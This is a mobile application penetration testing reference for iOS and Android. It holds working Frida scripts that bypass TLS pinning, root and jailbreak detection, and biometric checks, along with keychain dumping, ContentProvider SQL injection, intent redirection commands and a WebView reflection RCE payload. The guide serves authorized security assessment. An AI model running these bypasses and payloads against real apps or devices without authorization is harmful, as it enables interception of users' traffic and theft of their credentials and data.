Mobile Pentesting

A working reference for iOS and Android application assessments. Every section is command-first — copy, paste, adapt. Tested against iOS 17 / Android 14 with the toolchains current as of early 2026.


Lab Setup

iOS — jailbroken physical device

Modern options depend on chip and iOS version:

Device chipiOS versionsJailbreak
A8–A11 (iPhone 5s → X)anycheckra1n / palera1n (tethered, bootrom exploit)
A12–A16 (iPhone XS → 14)15.0 – 16.6.1palera1n rootless (A11+ with legacy iOS)
A12–A1615.0 – 16.5Dopamine (rootless, semi-untethered)
A17 / M-class17.xDopamine 2.x (checkm8 unavailable — depend on kernel exploits)

Pragmatic recommendation: keep a cheap A10/A11 device (iPhone 7 / 8 / X) pinned to an old iOS for research; checkra1n/palera1n will always work on those because the bootrom bug (checkm8) is unpatchable.

palera1n (rootful) on iPhone X / iOS 16.6

# macOS host
brew install palera1n/tap/palera1n

# Put device in DFU (hold side + vol down, then release side, keep vol down 5s)
sudo palera1n -c            # create fakefs
sudo palera1n -f            # actual jailbreak boot
# When the device reboots into the loader, install Sileo from the on-device UI.

After boot:

# SSH over USB (iproxy forwards device:22 → localhost:2222)
brew install libimobiledevice usbmuxd
iproxy 2222 22 &
ssh root@localhost -p 2222            # default password: alpine  — CHANGE IT.
passwd

Install the baseline toolkit from Sileo: Frida, Frida tools, openssh, darwintools, coreutils, adv-cmds, less, class-dump.

Android — emulator that can run as root

Default Play Store emulator images refuse adb root. Pick AOSP images instead (no Play Store, no GMS). From Android Studio: Tools → Device Manager → Create Virtual Device → System Image → Other Images → pick an AOSP build.

# CLI — create an x86_64 AOSP Pixel emulator
sdkmanager "system-images;android-34;default;x86_64"
avdmanager create avd -n pixel_root -k "system-images;android-34;default;x86_64" -d pixel_6

# Start with writable system (needed to push Frida server into /data/local/tmp at boot)
emulator -avd pixel_root -writable-system -no-snapshot

# In another shell
adb root
adb shell whoami            # → root
adb remount                 # if you need to write /system

If the target app refuses to run on emulator (root/emulator detection), fall back to a physical device:

# Pixel 6/7/8 with stock Android 14 — unlock bootloader, flash Magisk patched boot.img
# GrapheneOS devices are cheap + unlockable + supported for much longer than stock.
fastboot flashing unlock
fastboot flash boot magisk_patched.img

Then use MagiskHide / Zygisk DenyList to hide root from the target app.


Static Analysis — Pulling the App Apart

iOS — extract and decrypt an IPA

App Store binaries are FairPlay-encrypted. Two workable approaches:

  1. frida-ios-dump — dumps a decrypted IPA from a running process on a jailbroken device.
  2. flexdecrypt / bagbak — alternative dumpers; use when frida-ios-dump can't attach.
# Jailbroken device, with Frida server installed from Sileo and app installed
git clone https://github.com/AloneMonkey/frida-ios-dump
cd frida-ios-dump
pip3 install -r requirements.txt

# List installed apps to find the bundle ID
./dump.py -l
# frida.core.Device.enumerate_applications → bundle IDs

# Dump
./dump.py com.example.target -o target.ipa

unzip target.ipa -d target/
cd target/Payload/Target.app
otool -l Target | grep -A4 LC_ENCRYPTION_INFO   # cryptid should be 0 now

iOS — Mach-O and class dumping

# Architectures present
lipo -info Target
# Architectures in the fat file: Target are: arm64 arm64e

# Load commands / libraries
otool -L Target
otool -l Target | less

# Objective-C class dump (requires decrypted binary)
class-dump -H Target -o headers/
ls headers/ | head
# MyViewController.h  APIClient.h  Crypto.h  ...

# Swift — class-dump-swift is unmaintained. Use Hopper, Ghidra, IDA, or:
nm -U Target | grep -i swift | head

Android — decompile an APK / AAB

# Get the APK off the device (even if the app was installed as a split AAB)
adb shell pm path com.example.target
# package:/data/app/~~random==/com.example.target-1/base.apk
# package:/data/app/~~random==/com.example.target-1/split_config.arm64_v8a.apk

adb pull /data/app/~~random==/com.example.target-1/base.apk

# Decompile to smali + resources + AndroidManifest.xml
apktool d base.apk -o base_out

# Decompile to Java
d2j-dex2jar base.apk -o base.jar
jadx-gui base.apk            # my default — batteries included

# Native libraries
ls base_out/lib/arm64-v8a/
# libnative.so  libsqlcipher.so  libflutter.so  ...

AndroidManifest quick audit

# Read the decoded manifest
xmllint --format base_out/AndroidManifest.xml | less

Things to grep for — they are almost always the first foothold:

GrepWhy it matters
android:exported="true"Component reachable from other apps — Intent attacks
android:debuggable="true"run-as works, attach a debugger, dump memory
android:allowBackup="true"adb backup leaks app data
android:networkSecurityConfigLikely references network_security_config.xml — inspect for cleartext / pinning
<intent-filter> on an ActivityDeep links — URL schemes for direct attack
android:grantUriPermissions="true"ContentProvider hand-off, common IDOR
<provider> / <service> / <receiver> with permission=""Missing permission → cross-app attack

Dynamic Analysis — Frida

Frida is the centre of every modern mobile assessment. Install it once and reuse the hooks.

Install

pip3 install frida-tools                    # host
# iOS: Frida package from Sileo (jailbreak)
# Android: push frida-server to /data/local/tmp

# Android
wget https://github.com/frida/frida/releases/latest/download/frida-server-16.4.8-android-x86_64.xz
xz -d frida-server-16.4.8-android-x86_64.xz
adb push frida-server-16.4.8-android-x86_64 /data/local/tmp/frida-server
adb shell "chmod 755 /data/local/tmp/frida-server && /data/local/tmp/frida-server &"

# Verify
frida-ps -U | head

Attach and enumerate

# Spawn and early-attach (better for startup hooks)
frida -U -f com.example.target -l hook.js --no-pause

# Attach to a running PID
frida -U -n Target -l hook.js

# List loaded modules
frida -U -n Target -e 'Process.enumerateModules().forEach(m => console.log(m.name, m.base))'

Canonical Android hook — log every method of a class

// hook.js
Java.perform(function () {
    const cls = Java.use('com.example.target.crypto.Cipher');

    cls.class.getDeclaredMethods().forEach(function (m) {
        const name = m.getName();
        cls[name].overloads.forEach(function (ovl) {
            ovl.implementation = function () {
                const args = Array.prototype.slice.call(arguments);
                console.log('[*] ' + name + '(' + args.join(', ') + ')');
                const ret = ovl.apply(this, arguments);
                console.log('    → ' + ret);
                return ret;
            };
        });
    });
});

iOS — hook Objective-C

// hook.js
if (ObjC.available) {
    const cls = ObjC.classes.APIClient;
    Interceptor.attach(cls['- sendRequest:'].implementation, {
        onEnter: function (args) {
            // args[0] = self, args[1] = selector, args[2] = first arg
            const req = new ObjC.Object(args[2]);
            console.log('[+] sendRequest: ' + req.URL().absoluteString());
        },
        onLeave: function (ret) {
            const obj = new ObjC.Object(ret);
            console.log('    → ' + obj.toString());
        }
    });
}

Swift — hook a function by symbol

Swift name-mangles. Use nm to find the symbol, then:

const addr = Module.findExportByName('Target', '$s6Target10encryptDataySS_tF');
Interceptor.attach(addr, {
    onEnter: function (args) { console.log('encryptData called'); },
    onLeave: function (ret) { console.log('→', ret); }
});

Objection — Frida without Boilerplate

pip3 install objection

# Attach (spawn)
objection --gadget com.example.target explore

# Inside the REPL:
android hooking list classes                           # all loaded classes
android hooking search classes Cipher                  # filter
android hooking watch class com.example.Cipher         # hook every method
android hooking watch class_method com.example.Cipher.encrypt --dump-args --dump-return --dump-backtrace

android sslpinning disable                             # try every known pinning bypass
android root disable                                   # bypass common root detection
android heap search instances com.example.User         # live object instances
android heap print fields 0x7f12ab34                   # dump fields of an object

ios sslpinning disable
ios jailbreak disable
ios keychain dump
ios nsuserdefaults get
ios cookies get

memory list modules
memory search --string "api_key"

Objection's sslpinning disable covers OkHttp3, TrustKit, CertificatePinner, X509TrustManager, NSURLSession / AFNetworking / TrustKit / NSURLConnection on iOS. For Flutter apps and gRPC with BoringSSL, see the dedicated sections below — the generic bypass does not work.


SSL / TLS Pinning Bypass — The Full Menu

1. Stock Android — add a user CA

# Export Burp CA as DER, convert to PEM, hash it the way Android expects
openssl x509 -inform DER -in cacert.der -out burp.pem
openssl x509 -inform PEM -subject_hash_old -in burp.pem | head -1
# 9a5ba575 → filename on device

cp burp.pem 9a5ba575.0

# Push into system store (requires writable /system — AOSP emulator or Magisk)
adb root && adb remount
adb push 9a5ba575.0 /system/etc/security/cacerts/
adb shell chmod 644 /system/etc/security/cacerts/9a5ba575.0
adb reboot

With Android 14 the system store moved to /apex/com.android.conscrypt/cacerts/. Magisk's MagiskTrustUserCerts or Conscrypt Mainline Module module handles this automatically on rooted devices. On stock, use Frida hooks instead.

2. Android — OkHttp3 CertificatePinner bypass

Java.perform(function () {
    const CertPinner = Java.use('okhttp3.CertificatePinner');
    CertPinner.check.overload('java.lang.String', 'java.util.List').implementation = function (a, b) {
        console.log('[+] CertificatePinner.check bypassed → ' + a);
        return;
    };
    CertPinner.check.overload('java.lang.String', '[Ljava.security.cert.Certificate;').implementation = function () { return; };
});

3. Android — TrustManager bypass (generic)

Java.perform(function () {
    const X509TrustManager = Java.use('javax.net.ssl.X509TrustManager');
    const SSLContext = Java.use('javax.net.ssl.SSLContext');

    const TrustManager = Java.registerClass({
        name: 'com.sensepost.test.TrustManager',
        implements: [X509TrustManager],
        methods: {
            checkClientTrusted: function () {},
            checkServerTrusted: function () {},
            getAcceptedIssuers: function () { return []; }
        }
    });

    const TrustManagers = [TrustManager.$new()];
    const SSLContext_init = SSLContext.init.overload(
        '[Ljavax.net.ssl.KeyManager;', '[Ljavax.net.ssl.TrustManager;', 'java.security.SecureRandom');
    SSLContext_init.implementation = function (kms, tms, sr) {
        console.log('[+] SSLContext.init — swapping TrustManager');
        SSLContext_init.call(this, kms, TrustManagers, sr);
    };
});

4. Flutter — libflutter.so pinning via BoringSSL

Flutter statically links BoringSSL into libflutter.so and bypasses the Java/Kotlin TLS stack entirely. Objection / universal OkHttp hooks do nothing. The hook targets ssl_verify_peer_cert directly.

// reFlutter or a direct pattern scan — offsets change per Flutter version
const flutter = Module.findBaseAddress('libflutter.so');

// Pattern for ssl_verify_peer_cert preamble on arm64 (Flutter 3.x)
Memory.scan(flutter, 0x500000, 'ff 03 02 d1 fc 6f 01 a9 fa 67 02 a9', {
    onMatch: function (addr) {
        console.log('[+] ssl_verify_peer_cert at ' + addr);
        Interceptor.attach(addr, {
            onLeave: function (ret) {
                ret.replace(0x0);          // SSL_VERIFY_NONE
            }
        });
        return 'stop';
    },
    onComplete: function () {}
});

Use reFlutter to repackage the APK with a pre-patched libflutter.so when the pattern scan is unreliable:

pip3 install reflutter
reflutter base.apk
# Prompts for your Burp IP, rewrites the TLS trust routine, signs the APK.

5. iOS — TrustKit / NSURLSession hooks

Objection's ios sslpinning disable handles standard stacks. For gRPC or custom C code linking BoringSSL:

// Hook BoringSSL's SSL_set_custom_verify or SSL_CTX_set_verify
const mod = 'Target';   // or 'libboringssl.dylib' if dynamically linked
Interceptor.attach(Module.findExportByName(mod, 'SSL_set_verify'), {
    onEnter: function (args) {
        args[1] = ptr(0);        // mode = SSL_VERIFY_NONE
    }
});

6. Last resort — patch the binary

When hooks break under JIT or CFI, pull out a hex editor:

# Android: decompile, edit smali, rebuild + sign
apktool d base.apk -o src
# Find the TrustManager class, replace checkServerTrusted body with `return-void`
apktool b src -o patched.apk
zipalign -p 4 patched.apk aligned.apk
apksigner sign --ks mykeystore.jks aligned.apk

Proxy Setup

# Burp on 8080, listen on all interfaces
# Device → Wi-Fi → Proxy → Manual → host.docker.internal:8080

# Cert must be installed as described above, then:
curl -v -x http://127.0.0.1:8080 https://example.com --cacert ~/.mitmproxy/burp.pem

# For a device without proxy support, use mitmproxy transparent + iptables
sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 443 -j REDIRECT --to-port 8080
mitmproxy --mode transparent --showhost

gRPC / protobuf traffic is opaque in Burp without decoding. Use mitmproxy's grpc addon or Protobuf Editor Burp extension, supply the .proto files (or reverse them from the app), and you'll see readable field names.


# Pull all intent-filters from the manifest
grep -A3 'intent-filter' base_out/AndroidManifest.xml | grep -E 'scheme|host|pathPrefix'

Trigger an exported Activity via adb:

adb shell am start -a android.intent.action.VIEW \
  -d "exampleapp://open?url=https://attacker.com" \
  com.example.target

Turn a deep-link-triggered WebView into RCE-adjacent issues:

  • url parameter loaded into a WebView with JavascriptInterface → JS-to-Java pivot.
  • WebView with setAllowFileAccess(true)file:// reads from private dirs.
  • Intent redirection (Intent.parseUri() trust) → launch internal components you shouldn't reach.

Drozer — classic Intent attack surface mapping

# Install drozer agent on the device, start agent, connect from host
adb forward tcp:31415 tcp:31415
drozer console connect

dz> run app.package.list -f target
dz> run app.package.attacksurface com.example.target
dz> run app.activity.info -a com.example.target
dz> run app.activity.start --component com.example.target com.example.target.DebugActivity
dz> run app.provider.info -a com.example.target
dz> run app.provider.query content://com.example.target.provider/users/
dz> run scanner.provider.sqlinjection -a com.example.target
dz> run scanner.provider.traversal -a com.example.target

ContentProvider SQL injection

# If query goes through a selection string without parameterisation:
adb shell content query --uri content://com.example.target.provider/users \
  --projection "* FROM sqlite_master WHERE 1=1--"

Intent redirection (CVE-2023-20963 class — Parcel mismatch)

Many Android apps take an Intent from an Extra, trust it, and start it with elevated permissions. Android's own WorkSource bug (CVE-2023-20963) showed the pattern. Test with:

adb shell am start -n com.example.target/.Launcher \
  --es "next_intent" "intent:#Intent;component=com.example.target/.PrivateActivity;end"

If PrivateActivity is not exported but gets started — you have an Intent redirection.


Enumerate URL schemes

# From an IPA
plutil -convert xml1 -o - Payload/Target.app/Info.plist | grep -A5 CFBundleURLSchemes

Trigger from a jailbroken device

# Over SSH
/usr/bin/uiopen "targetapp://do?what=openfile&path=/etc/hosts"

# Or from the host, via mobiledevice or ideviceinstaller scripts

Test cases that regularly hit:

  • path parameter reaching WKWebView.loadFileURL → local file disclosure.
  • URL loaded into a shared state used later by an authentication callback → pre-auth vuln.
  • openURL: from an iMessage preview — no tap required, handler runs in background.
curl -s https://example.com/.well-known/apple-app-site-association | jq

The paths array describes every URL the app claims. Anything reachable there should be attacker-controllable through a phishing link that looks legitimate because the domain is legitimate.


Storage and Keychain

iOS — Keychain dump

# Objection REPL on a jailbroken device
ios keychain dump

# Or from the CLI
frida -U -f com.example.target -l keychain-dump.js --no-pause
# see Frida CodeShare: "ios-keychain-dumper"

iOS — app sandbox inspection

# Find app container
ssh root@localhost -p 2222 "find /var/mobile/Containers -maxdepth 4 -iname '*example*'"

# Interesting files
#  Documents/    — user data
#  Library/Preferences/*.plist  — NSUserDefaults
#  Library/Caches/  — API response cache, often unencrypted
#  Library/WebKit/ — WebView state incl. cookies

Android — app data dump

# Debuggable app → run-as
adb shell run-as com.example.target
cd /data/data/com.example.target
ls -R

# Non-debuggable, rooted device → root shell
adb shell su -c 'tar -cf /sdcard/target.tar /data/data/com.example.target'
adb pull /sdcard/target.tar

Grep for common sins:

strings -n 8 shared_prefs/*.xml | grep -iE 'token|key|secret|password'
grep -r 'Basic ' databases/

Android — EncryptedSharedPreferences / Keystore

Apps that use EncryptedSharedPreferences still decrypt on-device. Hook androidx.security.crypto.EncryptedSharedPreferences$Editor.putString to log plaintext writes, or intercept javax.crypto.Cipher.doFinal globally:

Java.perform(function () {
    const Cipher = Java.use('javax.crypto.Cipher');
    Cipher.doFinal.overload('[B').implementation = function (input) {
        const out = this.doFinal(input);
        console.log('[cipher] ' + this.getAlgorithm() + ' in=' + bytesToHex(input) + ' out=' + bytesToHex(out));
        return out;
    };
});

WebView Sins

Every mobile pentest should grep for these. One of them almost always hits.

Android

webView.getSettings().setJavaScriptEnabled(true);
webView.getSettings().setAllowFileAccess(true);                // → file:// reads
webView.getSettings().setAllowFileAccessFromFileURLs(true);    // → cross-origin from file://
webView.getSettings().setAllowUniversalAccessFromFileURLs(true); // → even worse
webView.addJavascriptInterface(new JSBridge(), "bridge");      // → JS to Java RCE
webView.getSettings().setMixedContentMode(MIXED_CONTENT_ALWAYS_ALLOW);

If addJavascriptInterface targets API < 17 or the exposed object has a getClass chain, you get RCE via reflection:

bridge.getClass().forName('java.lang.Runtime')
  .getMethod('exec', java.lang.String)
  .invoke(bridge.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null), 'id');

iOS — WKWebView

config.preferences.javaScriptEnabled = YES;
[webView loadHTMLString:untrustedHTML baseURL:nil];   // stored/reflected XSS into app context
[webView evaluateJavaScript:untrustedJS ...];         // direct JS sink
[webView.configuration.userContentController addScriptMessageHandler:... name:@"bridge"];

A WKScriptMessageHandler is the iOS analogue of addJavascriptInterface — same class of vulnerabilities.


Recent / Noteworthy CVEs (Mobile, 2024–2026)

Keep these in mind when you hit a target — they're the kind of thing that rewards reading release notes.

CVEComponentWhat it is
CVE-2024-53104Linux kernel UVC driver (Pixel series)Out-of-bounds write, actively exploited, patched Feb 2025
CVE-2024-43047Qualcomm DSPUse-after-free, in-the-wild on Snapdragon devices
CVE-2024-32896Android FrameworkLocal privilege escalation on Pixel, used by forensic tooling
CVE-2024-23222Apple WebKitType confusion, first 0day of 2024, iOS 16/17
CVE-2024-27834Apple Safari / WebKitPAC bypass by Manfred Paul at Pwn2Own
CVE-2024-44308 / 44309Apple JavaScriptCore / WebKitExploited in the wild November 2024
CVE-2025-24085Apple CoreMediaActively exploited privilege escalation
CVE-2025-55177Apple ImageIOUse-after-free in image parsing, zero-click via iMessage
CVE-2024-4761 / 4947Chrome V8Type confusion, shipped into every Android WebView
CVE-2024-43093Android Framework (Google Play services)Local priv-esc affecting every Android 12–14

Operational takeaways:

  • WebView is still the most productive attack surface on Android. Every Chrome V8 RCE rolls downstream into WebView about a week later.
  • iOS ImageIO + CoreMedia — if the app uses UIImage / AVAsset to parse attacker-controlled media, you have a real pre-auth attack surface.
  • Qualcomm DSP / kernel bugs give you the sandbox escape after a WebView RCE — read Project Zero's writeups to understand the chain shape.

Anti-Reversing Bypasses

Android — root detection bypass (generic)

Java.perform(function () {
    const strings_to_block = ['su', 'busybox', 'magisk', 'supersu', 'xposed'];

    const File = Java.use('java.io.File');
    File.exists.implementation = function () {
        const path = this.getAbsolutePath();
        for (const s of strings_to_block) {
            if (path.toLowerCase().indexOf(s) !== -1) {
                console.log('[root-bypass] File.exists(' + path + ') → false');
                return false;
            }
        }
        return this.exists();
    };

    const Runtime = Java.use('java.lang.Runtime');
    Runtime.exec.overload('java.lang.String').implementation = function (cmd) {
        if (cmd.indexOf('su') !== -1 || cmd.indexOf('which') !== -1) {
            throw Java.use('java.io.IOException').$new('blocked by pentester');
        }
        return this.exec(cmd);
    };
});

iOS — jailbreak detection bypass

// Hide common jailbreak files from fopen / stat / access
const paths_to_hide = ['/Applications/Cydia.app', '/usr/sbin/sshd', '/bin/bash', '/etc/apt', '/private/var/lib/apt/'];
['fopen', 'stat', 'access', 'lstat'].forEach(function (fn) {
    const f = Module.findExportByName(null, fn);
    if (!f) return;
    Interceptor.attach(f, {
        onEnter: function (args) {
            const path = Memory.readUtf8String(args[0]);
            if (paths_to_hide.some(p => path.indexOf(p) !== -1)) {
                this.hide = true;
                args[0] = Memory.allocUtf8String('/does/not/exist');
            }
        }
    });
});

Local Auth / Biometric Prompt Bypass

iOS LAContext.evaluatePolicy: is often the only thing between a local attacker and the sensitive flow. If the callback is the only source of truth (no server-side check), hooking it owns the app.

// iOS — always pretend biometric succeeded
const LAContext = ObjC.classes.LAContext;
Interceptor.attach(LAContext['- evaluatePolicy:localizedReason:reply:'].implementation, {
    onEnter: function (args) {
        const block = new ObjC.Block(args[4]);
        const original = block.implementation;
        block.implementation = function (success, error) {
            original(true, null);
        };
    }
});

Android BiometricPrompt.AuthenticationCallback.onAuthenticationSucceeded() — same idea, invoked with a null CryptoObject if the app isn't using keystore-bound auth. If it is keystore-bound (CryptoObject non-null), you can't just fake success — you have to recover or coerce the key.


Quick Command Reference

# Find the running PID of a package (Android)
adb shell pidof com.example.target

# Dump memory of a live process
frida -U -n Target -e 'Process.enumerateRanges("rw-").forEach(r => send(r))'

# Intercept every HTTP request made from a WKWebView
frida -U -f com.example.target -l wkwebview-log.js --no-pause

# Install an APK forcibly
adb install -r -t -d base.apk         # r=reinstall, t=test, d=downgrade

# Extract an APK from Play for analysis without installing
apkeep -a com.example.target .

# Decrypt iOS KeyChain backup
hashcat -m 16700 keychain.hash wordlist.txt

# Inspect Android native libraries for JNI methods
nm -D base_out/lib/arm64-v8a/libnative.so | grep Java_

# Find iOS binary's PIE / stack canary / ARC state
otool -hv Target | head

Reporting Hygiene

  • Always produce a minimal PoC per finding — a single adb shell am start line, a three-line Frida script, a single-request curl. Vendors reproduce what you hand them; do not bury it in screenshots.
  • Attach a decrypted / decompiled snippet showing the vulnerable code path. That's what gets the bug taken seriously.
  • Record the exact app version + build number (CFBundleVersion on iOS, versionCode on Android). Tracking version regressions is easier than tracking features.
  • Flag any finding that has a CVE dependency (kernel priv-esc, WebView RCE) as environmental so the fix path is clear.